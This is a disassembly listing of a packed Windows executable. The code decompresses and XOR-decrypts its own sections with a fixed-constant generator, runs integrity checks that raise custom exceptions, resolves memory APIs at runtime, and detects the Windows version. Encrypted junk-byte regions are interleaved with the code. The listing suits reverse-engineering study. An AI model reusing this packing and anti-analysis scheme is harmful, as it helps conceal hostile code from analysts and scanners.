; ---------------------------------------------------------------------------


loc_4111D0:				; CODE XREF: sub_4110C0+109j
		mov	ecx, [ebp+var_1C]
		call	sub_411280
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4111E6
		jmp	loc_41126B
; ---------------------------------------------------------------------------


loc_4111E6:				; CODE XREF: sub_4110C0+11Fj
		mov	edx, [ebp+var_14]
		and	edx, 0F0h
		shl	edx, 4
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 0Fh
		add	ecx, 2
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], 0
		jmp	short loc_411218
; ---------------------------------------------------------------------------


loc_41120F:				; CODE XREF: sub_4110C0+1A4j
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx


loc_411218:				; CODE XREF: sub_4110C0+14Dj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jg	short loc_411266
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_18]
		and	ecx, 0FFFh
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+ecx+18h]
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		call	sub_4112C0
		mov	ecx, [ebp+var_1C]
		add	ecx, [ebp+var_8]
		mov	dl, byte ptr [ebp+var_C]
		mov	[ecx+18h], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFh
		mov	[ebp+var_8], ecx
		jmp	short loc_41120F
; ---------------------------------------------------------------------------


loc_411266:				; CODE XREF: sub_4110C0+F5j
					; sub_4110C0+15Ej
		jmp	loc_411135
; ---------------------------------------------------------------------------


loc_41126B:				; CODE XREF: sub_4110C0+9Bj
					; sub_4110C0+C4j ...
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+10h]
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4110C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411280	proc near		; CODE XREF: sub_4110C0+8Dp
					; sub_4110C0+B6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [eax+14h]
		cmp	edx, [ecx+8]
		jb	short loc_41129A
		or	eax, 0FFFFFFFFh
		jmp	short loc_4112BB
; ---------------------------------------------------------------------------


loc_41129A:				; CODE XREF: sub_411280+13j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		xor	edx, edx
		mov	dl, [ecx+eax]
		mov	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+14h], edx


loc_4112BB:				; CODE XREF: sub_411280+18j
		mov	esp, ebp
		pop	ebp
		retn
sub_411280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4112C0	proc near		; CODE XREF: sub_4110C0+CFp
					; sub_4110C0+17Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [eax+10h]
		cmp	edx, [ecx+0Ch]
		jb	short loc_4112DC
		jmp	short loc_4112FD
; ---------------------------------------------------------------------------


loc_4112DC:				; CODE XREF: sub_4112C0+18j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		mov	dl, byte ptr [ebp+var_8]
		mov	[ecx+eax], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+10h], ecx


loc_4112FD:				; CODE XREF: sub_4112C0+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4112C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411310	proc near		; CODE XREF: _3:loc_411720p

var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 70h
		push	esi
		push	edi
		push	0
		call	ds:dword_421014	; GetModuleHandleA
		mov	[ebp+var_18], eax
		push	0D440h
		push	40h
		call	ds:dword_421010	; LocalAlloc
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 402h
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 4
		mov	[ebp+var_10], ecx
		mov	[ebp+var_1C], 0
		mov	[ebp+var_44], 1
		mov	[ebp+var_30], 0
		mov	[ebp+var_3C], offset aBarier ; "BARIER"


loc_411363:				; CODE XREF: sub_411310+98j
					; sub_411310+A0j
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	edx, [ebp+var_44]
		imul	edx, 28h
		sub	ecx, edx
		mov	[ebp+var_30], ecx
		mov	eax, [ebp+var_44]
		add	eax, 1
		mov	[ebp+var_44], eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_18]
		add	edx, [ecx+0Ch]
		mov	[ebp+var_40], edx
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_18]
		add	ecx, [eax+0Ch]
		mov	edx, [ebp+var_30]
		add	ecx, [edx+8]
		mov	[ebp+var_2C], ecx
		mov	eax, [ebp+var_40]
		cmp	eax, [ebp+var_3C]
		ja	short loc_411363
		mov	ecx, [ebp+var_3C]
		cmp	ecx, [ebp+var_2C]
		jnb	short loc_411363
		mov	edx, [ebp+var_40]
		mov	[ebp+var_20], edx
		jmp	short loc_4113C3
; ---------------------------------------------------------------------------


loc_4113BA:				; CODE XREF: sub_411310+DAj
		mov	eax, [ebp+var_40]
		add	eax, 4
		mov	[ebp+var_40], eax


loc_4113C3:				; CODE XREF: sub_411310+A8j
		mov	ecx, [ebp+var_40]
		cmp	ecx, [ebp+var_2C]
		jnb	short loc_4113EC
		mov	edx, [ebp+var_20]
		imul	edx, 19660Dh
		add	edx, 3C6EF375h
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_40]
		mov	ecx, [eax]
		xor	ecx, [ebp+var_20]
		mov	edx, [ebp+var_40]
		mov	[edx], ecx
		jmp	short loc_4113BA
; ---------------------------------------------------------------------------


loc_4113EC:				; CODE XREF: sub_411310+B9j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_18]
		add	ecx, [eax+0Ch]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [eax+8]
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_38]
		push	edx
		push	40h
		call	ds:dword_421010	; LocalAlloc
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_411430
		cmp	[ebp+var_38], 10000h
		jbe	short loc_411441


loc_411430:				; CODE XREF: sub_411310+115j
		push	0
		push	0
		push	0
		push	0EF0000FEh
		call	ds:dword_42100C	; RaiseException


loc_411441:				; CODE XREF: sub_411310+11Ej
		mov	ecx, [ebp+var_38]
		mov	esi, [ebp+var_24]
		add	esi, 0Ch
		mov	edi, [ebp+var_1C]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_38]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	ecx, [ebp+var_8]
		call	sub_4110C0
		cmp	eax, [ebp+var_28]
		jz	short loc_411489
		push	0
		push	0
		push	0
		push	0EF0000F8h
		call	ds:dword_42100C	; RaiseException


loc_411489:				; CODE XREF: sub_411310+166j
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		push	0
		call	sub_410F9C
		add	esp, 0Ch
		cmp	eax, [ebp+var_34]
		jz	short loc_4114B1
		push	0
		push	0
		push	0
		push	0EF0000FAh
		call	ds:dword_42100C	; RaiseException


loc_4114B1:				; CODE XREF: sub_411310+18Ej
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	ds:dword_421008	; LocalFree
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_421014	; GetModuleHandleA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4114E0
		push	0
		push	0
		push	0
		push	0EF0000FDh
		call	ds:dword_42100C	; RaiseException


loc_4114E0:				; CODE XREF: sub_411310+1BDj
		push	offset aFlushinstructi ; "FlushInstructionCache"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4245F0, eax
		push	offset aGetcurrentproc ; "GetCurrentProcess"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	[ebp+var_14], eax
		cmp	ds:dword_4245F0, 0
		jnz	short loc_411520
		push	0
		push	0
		push	0
		push	0EF0000FCh
		call	ds:dword_42100C	; RaiseException


loc_411520:				; CODE XREF: sub_411310+1FDj
		call	[ebp+var_14]
		mov	ds:dword_42460C, eax
		mov	[ebp+var_48], 0
		mov	[ebp+var_68], 3
		mov	[ebp+var_58], 0


loc_41153D:				; CODE XREF: sub_411310+272j
					; sub_411310+27Aj
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		imul	edx, 28h
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	ecx, [ebp+var_68]
		imul	ecx, 28h
		sub	eax, ecx
		mov	[ebp+var_58], eax
		mov	edx, [ebp+var_68]
		add	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_58]
		mov	ecx, [ebp+var_18]
		add	ecx, [eax+0Ch]
		mov	[ebp+var_64], ecx
		mov	edx, [ebp+var_58]
		mov	eax, [ebp+var_18]
		add	eax, [edx+0Ch]
		mov	ecx, [ebp+var_58]
		add	eax, [ecx+8]
		mov	[ebp+var_54], eax
		mov	edx, [ebp+var_64]
		cmp	edx, [ebp+arg_0]
		jnb	short loc_41153D
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_54]
		jnb	short loc_41153D
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_64], ecx
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4C], edx
		mov	eax, [ebp+var_64]
		add	eax, 0Ch
		and	al, 0FCh
		mov	[ebp+var_64], eax
		jmp	short loc_4115AE
; ---------------------------------------------------------------------------


loc_4115A5:				; CODE XREF: sub_411310+2C4j
		mov	ecx, [ebp+var_64]
		add	ecx, 4
		mov	[ebp+var_64], ecx


loc_4115AE:				; CODE XREF: sub_411310+293j
		mov	edx, [ebp+var_64]
		cmp	edx, [ebp+var_54]
		jnb	short loc_4115D6
		mov	eax, [ebp+var_4C]
		imul	eax, 19660Dh
		add	eax, 3C6EF375h
		mov	[ebp+var_4C], eax
		mov	ecx, [ebp+var_64]
		mov	edx, [ecx]
		xor	edx, [ebp+var_4C]
		mov	eax, [ebp+var_64]
		mov	[eax], edx
		jmp	short loc_4115A5
; ---------------------------------------------------------------------------


loc_4115D6:				; CODE XREF: sub_411310+2A4j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[ebp+var_50], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[ebp+var_60], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ebp+var_5C], eax
		mov	ecx, [ebp+var_60]
		push	ecx
		push	40h
		call	ds:dword_421010	; LocalAlloc
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_41160E
		cmp	[ebp+var_60], 10000h
		jbe	short loc_41161F


loc_41160E:				; CODE XREF: sub_411310+2F3j
		push	0
		push	0
		push	0
		push	0EF0000FFh
		call	ds:dword_42100C	; RaiseException


loc_41161F:				; CODE XREF: sub_411310+2FCj
		mov	ecx, [ebp+var_60]
		mov	esi, [ebp+arg_0]
		add	esi, 0Ch
		mov	edi, [ebp+var_48]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_50]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_60]
		push	edx
		mov	eax, [ebp+var_48]
		push	eax
		mov	ecx, [ebp+var_8]
		call	sub_4110C0
		cmp	eax, [ebp+var_50]
		jz	short loc_411667
		push	0
		push	0
		push	0
		push	0EF0000F9h
		call	ds:dword_42100C	; RaiseException


loc_411667:				; CODE XREF: sub_411310+344j
		mov	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		call	sub_410F9C
		add	esp, 0Ch
		cmp	eax, [ebp+var_5C]
		jz	short loc_41168F
		push	0
		push	0
		push	0
		push	0EF0000FBh
		call	ds:dword_42100C	; RaiseException


loc_41168F:				; CODE XREF: sub_411310+36Cj
		mov	eax, [ebp+var_50]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, ds:dword_42460C
		push	edx
		call	ds:dword_4245F0	; FlushInstructionCache
		mov	eax, [ebp+var_48]
		push	eax
		call	ds:dword_421008	; LocalFree
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_421008	; LocalFree
		push	offset dword_424988
		call	ds:dword_421000	; InitializeCriticalSection
		call	sub_412300
		push	68h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_6C], 0
		jz	short loc_4116E8
		mov	ecx, [ebp+var_6C]
		call	sub_411DF0
		mov	[ebp+var_70], eax
		jmp	short loc_4116EF
; ---------------------------------------------------------------------------


loc_4116E8:				; CODE XREF: sub_411310+3C9j
		mov	[ebp+var_70], 0


loc_4116EF:				; CODE XREF: sub_411310+3D6j
		mov	edx, offset dword_411740
		mov	eax, [ebp+var_70]
		mov	[edx+4], eax
		call	sub_41C307
		mov	ds:dword_42903C, eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	ds:dword_424618, edx
		mov	eax, [ebp+var_4]
		mov	ds:off_42461C, eax
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_411310	endp

; ---------------------------------------------------------------------------
		align 10h


loc_411720:				; CODE XREF: sub_411BADp
		call	sub_411310
		pop	eax
		call	loc_411E80
		pop	eax
		mov	[esp+24h], eax
		popa
		pop	eax
		pop	eax
		call	eax
		call	sub_41D6F2
; ---------------------------------------------------------------------------
		db 6 dup(0CCh)
dword_411740	dd 0			; DATA XREF: sub_411310:loc_4116EFo
					; sub_41839F+2Bo ...
		db 90h
		db 1Eh,	85h, 0
		dd 52454827h, 42534945h, 43544F4Fh, 2745444Fh, 6
aKbyr		db 'KByR',0             ; DATA XREF: _5:off_42461Co
		align 4
		dd 5000h, 1000h, 5 dup(0)
		dd 0E0000080h, 5279424Bh, 0
		dd 9000h, 6000h, 8400h,	400h, 3	dup(0)
		dd 0E0000040h, 7273722Eh, 63h, 1000h, 0
		dd 0C00h, 8800h, 3 dup(0)
		dd 0E0000040h, 7865742Eh, 74h, 10D8Fh, 10000h, 0AE00h
		dd 9400h, 3 dup(0)
		dd 0E0000040h, 6164722Eh, 6174h, 0CC4h,	21000h,	0E00h
		dd 14200h, 3 dup(0)
		dd 0E0000040h, 7461642Eh, 61h, 7070h, 22000h, 1A00h, 15000h
		dd 3 dup(0)
		dd 0E0000040h, 0BFh dup(0)
		dd 32000000h, 30353030h
		db 35h,	31h, 38h
; ---------------------------------------------------------------------------

		public start
start:
		call	$+5
		pusha
		call	sub_411BAD
		or	al, 28h
; ---------------------------------------------------------------------------
		dd 24FC4A8Fh, 3D2B4A7Fh, 0AA3C655Eh, 7E9C585Bh,	0DA310FFDh
		dd 0BD9DA791h, 6BA7479h, 0A603F0ABh, 4206FA93h,	91DBB758h
		dd 68E44543h, 7E9CEC4Fh, 0DA310FFDh, 7E9CA791h,	0DA310FFDh
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		cmpsd

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411B9E	proc near		; CODE XREF: _3:00411F59p _3:00412CD0p ...
		jmp	sub_41847D
sub_411B9E	endp

; ---------------------------------------------------------------------------
		jmp	loc_418496
; ---------------------------------------------------------------------------
		jmp	loc_418496

; =============== S U B	R O U T	I N E =======================================



sub_411BAD	proc near		; CODE XREF: _3:00411B59p
		call	loc_411720
		jmp	sub_420D80
sub_411BAD	endp

; ---------------------------------------------------------------------------
		jmp	sub_420D80
; ---------------------------------------------------------------------------
		dd 0CBCB4CE9h, 0E452E9DBh, 0E7E9626Dh, 0E9234555h, 0CAF38650h
		dd 0D48F9C69h, 0E91DD9Eh, 1C4E2A77h, 0E954A1E0h, 20h, 0F3h
		dd 2050700h, 874h, 5 dup(0)
; ---------------------------------------------------------------------------
		aaa
		push	ecx
		add	al, 30h
		and	edi, ds:929B7A5Fh
		retf	1E02h
; ---------------------------------------------------------------------------
aRBposta_exe_bo	db 'Rϡposta.exe.BOX',0
		align 4
		dd 0Ch dup(0)
		dd 2A2E2A00h, 63h dup(0)
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DF0	proc near		; CODE XREF: sub_411310+3CEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+60h], 0
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+64h], 0
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_421014	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411E32
		push	0
		push	0
		push	0
		push	0EF0000FDh
		call	ds:dword_42100C	; RaiseException


loc_411E32:				; CODE XREF: sub_411DF0+2Fj
		mov	edx, [ebp+var_8]
		push	edx
		call	ds:dword_421000	; InitializeCriticalSection
		mov	eax, [ebp+var_8]
		add	eax, 18h
		push	eax
		call	ds:dword_421000	; InitializeCriticalSection
		mov	ecx, [ebp+var_8]
		add	ecx, 30h
		push	ecx
		call	ds:dword_421000	; InitializeCriticalSection
		mov	edx, [ebp+var_8]
		add	edx, 48h
		push	edx
		call	ds:dword_421000	; InitializeCriticalSection
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_411DF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E70	proc near		; CODE XREF: sub_416C60+50p
		push	ebp
		mov	ebp, esp
		mov	eax, ds:dword_424608
		mov	al, [eax+70h]
		pop	ebp
		retn
sub_411E70	endp

; ---------------------------------------------------------------------------
		align 10h


loc_411E80:				; CODE XREF: _3:00411726p
		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+8]
		mov	ds:dword_424608, eax
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_424698	; GetModuleHandleA
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_411EB9
		push	0
		push	0
		push	0
		push	0EF0000FDh
		call	ds:dword_4246F8	; RaiseException


loc_411EB9:				; CODE XREF: _3:00411EA6j
		push	offset aVirtualalloc ; "VirtualAlloc"
		mov	ecx, [ebp-8]
		push	ecx
		call	ds:dword_4246A8	; GetProcAddress
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-0Ch], 0
		jnz	short loc_411EE2
		push	0
		push	0
		push	0
		push	0EF0000FCh
		call	ds:dword_4246F8	; RaiseException


loc_411EE2:				; CODE XREF: _3:00411ECFj
		push	4
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-0Ch]
		mov	ds:dword_4245F4, eax
		push	4
		push	2000h
		call	ds:dword_4246BC	; GetTickCount
		xor	edx, edx
		mov	ecx, 8000h
		div	ecx
		push	edx
		push	0
		call	dword ptr [ebp-0Ch]
		mov	ds:dword_4245FC, eax
		push	4
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-0Ch]
		mov	ds:dword_4245F8, eax
		mov	edx, ds:dword_4245F4
		mov	dword ptr [edx], 19660Dh
		mov	eax, ds:dword_4245F8
		mov	dword ptr [eax], 3C6EF35Fh
		mov	dword ptr [ebp-14h], 0
		mov	dword ptr [ebp-4], 0
		push	2E0000h
		call	sub_411B9E
		mov	ch, 0A2h
		or	al, 85h
		fsubr	qword ptr [edi-251891FAh]
		dec	edi
		imul	ebx, [ebx-32h],	6316BDBh
		xchg	bl, [ecx-504336D7h]
		setalc
		push	dword ptr [edi+7Bh]
		outsb
		popa
		and	ch, [ebp-13626B3Fh]
		xchg	eax, ecx
		sub	[ebx], dl
		add	ch, ds:9EA855D2h
		xchg	eax, ecx
		jmp	short loc_411FA6
; ---------------------------------------------------------------------------
		dw 62A6h
		dd 38BC7C2Ah, 0B3F58568h, 3E312407h, 346165C0h,	36A8C3Dh
; ---------------------------------------------------------------------------
		fnclex


loc_411FA6:				; CODE XREF: _3:00411F8Cj
		int	57h
		out	1Ch, eax
		icebp
		cmc
		in	al, 0D7h
		movsd
		sar	byte ptr [ebp+edx*4-14h], cl
		mov	edi, 0EF5A7EF6h
		pop	edi
; ---------------------------------------------------------------------------
		db 0C4h, 0D1h, 0DEh
		dd 120590EBh, 91D12C04h, 90929FA8h, 85D23390h, 8BEE75D2h
		dd 0C0830845h, 0E8458971h, 21001B68h, 0FBBCE800h, 9090FFFFh
		dd 0C985C933h, 558BEE75h, 8D8D52E8h, 0FFFFFF18h, 4064E8h
		dd 216800h, 9BE80026h, 90FFFFFBh, 85C03390h, 6AEE75C0h
		dd 40D8B08h, 51004246h,	0FF188D8Dh, 9E8FFFFh, 68000045h
		dd 26h,	0FFFB75E8h, 0BD11E4FFh,	0B7672D49h, 0F664B421h
		dd 49F51026h, 0CEAEBBCCh, 17454BFBh, 4D57D95Fh,	71BCE89Eh
		dd 6C671012h, 9FBD1A3Bh, 15897C62h, 0EFD5B867h,	16F1E4D7h
		dd 0CDDAE335h, 0C0339090h, 0EE75C085h, 46040D8Bh, 118B0042h
		dd 0A1F05589h, 424604h,	4D89088Bh, 9468ECh, 0C3E80000h
		dd 83000099h, 858904C4h, 0FFFFFEFCh, 0FEFC958Bh, 9589FFFFh
		dd 0FFFFFF14h, 25B9h, 8BC03300h, 0FFFF14BDh, 8BABF3FFh
		dd 0FFFF1485h, 9400C7FFh, 8B000000h, 0FFFF148Dh, 15FF51FFh
		dd 4246B8h, 0FF14958Bh,	428BFFFFh, 4600A310h, 85C70042h
		dd 0FFFFFF10h, 0
; ---------------------------------------------------------------------------
		mov	ecx, ds:dword_424600
		mov	[ebp-10Ch], ecx
		cmp	dword ptr [ebp-10Ch], 0
		jz	short loc_412108
		cmp	dword ptr [ebp-10Ch], 1
		jz	short loc_412117
		cmp	dword ptr [ebp-10Ch], 2
		jz	short loc_41216E
		jmp	loc_41220B
; ---------------------------------------------------------------------------


loc_412108:				; CODE XREF: _3:004120EFj
		mov	dword ptr [ebp-0F0h], offset aWin32s ; "win32s"
		jmp	loc_41220B
; ---------------------------------------------------------------------------


loc_412117:				; CODE XREF: _3:004120F8j
		mov	edx, [ebp-0ECh]
		cmp	dword ptr [edx+8], 0
		jnz	short loc_41212F
		mov	dword ptr [ebp-0F0h], offset aWindows95	; "Windows95"
		jmp	short loc_412169
; ---------------------------------------------------------------------------


loc_41212F:				; CODE XREF: _3:00412121j
		mov	eax, [ebp-0ECh]
		cmp	dword ptr [eax+8], 0Ah
		jnz	short loc_412147
		mov	dword ptr [ebp-0F0h], offset aWindows98	; "Windows98"
		jmp	short loc_412169
; ---------------------------------------------------------------------------


loc_412147:				; CODE XREF: _3:00412139j
		mov	ecx, [ebp-0ECh]
		cmp	dword ptr [ecx+8], 5Ah
		jnz	short loc_41215F
		mov	dword ptr [ebp-0F0h], offset aWindowsme	; "WindowsMe"
		jmp	short loc_412169
; ---------------------------------------------------------------------------


loc_41215F:				; CODE XREF: _3:00412151j
		mov	dword ptr [ebp-0F0h], offset aWindows9xUnkno ; "Windows9x(unknown)"


loc_412169:				; CODE XREF: _3:0041212Dj _3:00412145j ...
		jmp	loc_41220B
; ---------------------------------------------------------------------------


loc_41216E:				; CODE XREF: _3:00412101j
		mov	edx, [ebp-0ECh]
		cmp	dword ptr [edx+4], 3
		jnz	short loc_412189
		mov	dword ptr [ebp-0F0h], offset aWindowsnt3_51 ; "WindowsNT(3.51)"
		jmp	loc_41220B
; ---------------------------------------------------------------------------


loc_412189:				; CODE XREF: _3:00412178j
		mov	eax, [ebp-0ECh]
		cmp	dword ptr [eax+4], 4
		jnz	short loc_4121A1
		mov	dword ptr [ebp-0F0h], offset aWindowsnt4_0 ; "WindowsNT(4.0)"
		jmp	short loc_41220B
; ---------------------------------------------------------------------------


loc_4121A1:				; CODE XREF: _3:00412193j
		mov	ecx, [ebp-0ECh]
		cmp	dword ptr [ecx+4], 5
		jnz	short loc_412201
		mov	edx, [ebp-0ECh]
		cmp	dword ptr [edx+8], 0
		jnz	short loc_4121C5
		mov	dword ptr [ebp-0F0h], offset aWindows2000 ; "Windows2000"
		jmp	short loc_4121FF
; ---------------------------------------------------------------------------


loc_4121C5:				; CODE XREF: _3:004121B7j
		mov	eax, [ebp-0ECh]
		cmp	dword ptr [eax+8], 1
		jnz	short loc_4121DD
		mov	dword ptr [ebp-0F0h], offset aWindowsxp	; "WindowsXP"
		jmp	short loc_4121FF
; ---------------------------------------------------------------------------


loc_4121DD:				; CODE XREF: _3:004121CFj
		mov	ecx, [ebp-0ECh]
		cmp	dword ptr [ecx+8], 2
		jnz	short loc_4121F5
		mov	dword ptr [ebp-0F0h], offset aWindows_net ; "Windows.NET"
		jmp	short loc_4121FF
; ---------------------------------------------------------------------------


loc_4121F5:				; CODE XREF: _3:004121E7j
		mov	dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)"


loc_4121FF:				; CODE XREF: _3:004121C3j _3:004121DBj ...
		jmp	short loc_41220B
; ---------------------------------------------------------------------------


loc_412201:				; CODE XREF: _3:004121ABj
		mov	dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)"


loc_41220B:				; CODE XREF: _3:00412103j _3:00412112j ...
		mov	edx, [ebp-0ECh]
		mov	[ebp-108h], edx
		mov	eax, [ebp-108h]
		push	eax
		call	sub_41BACD
		add	esp, 4
		mov	ecx, ds:dword_424604
		mov	edx, [ecx+2Ch]
		mov	[ebp-0F4h], edx
		cmp	dword ptr [ebp-0F4h], 0
		jz	short loc_4122AF
		mov	eax, [ebp-0F4h]
		mov	[ebp-0FCh], eax
		mov	dword ptr [ebp-0F8h], 0
		jmp	short loc_412265
; ---------------------------------------------------------------------------


loc_412256:				; CODE XREF: _3:004122ADj
		mov	ecx, [ebp-0F8h]
		add	ecx, 1
		mov	[ebp-0F8h], ecx


loc_412265:				; CODE XREF: _3:00412254j
		cmp	dword ptr [ebp-0F8h], 80h
		jge	short loc_4122AF
		mov	edx, [ebp-0FCh]
		imul	edx, 19660Dh
		add	edx, 3C6EF35Fh
		mov	[ebp-0FCh], edx
		mov	eax, [ebp-0F8h]
		mov	ecx, [ebp-0F4h]
		mov	edx, [ecx+eax*4]
		xor	edx, [ebp-0FCh]
		mov	eax, [ebp-0F8h]
		mov	ecx, [ebp-0F4h]
		mov	[ecx+eax*4], edx
		jmp	short loc_412256
; ---------------------------------------------------------------------------


loc_4122AF:				; CODE XREF: _3:0041223Cj _3:0041226Fj
		mov	edx, ds:dword_424604
		mov	eax, [edx+24h]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	ds:byte_424614,	al
		call	sub_418780
		mov	ecx, [ebp-14h]
		mov	[ebp+8], ecx
		cmp	ds:dword_4289B4, 0
		jz	short loc_4122ED
		push	0
		push	0
		push	0
		mov	edx, ds:dword_4289B4
		push	edx
		call	ds:dword_4247B8	; PostMessageA


loc_4122ED:				; CODE XREF: _3:004122D8j
		xor	eax, eax
		pop	edi
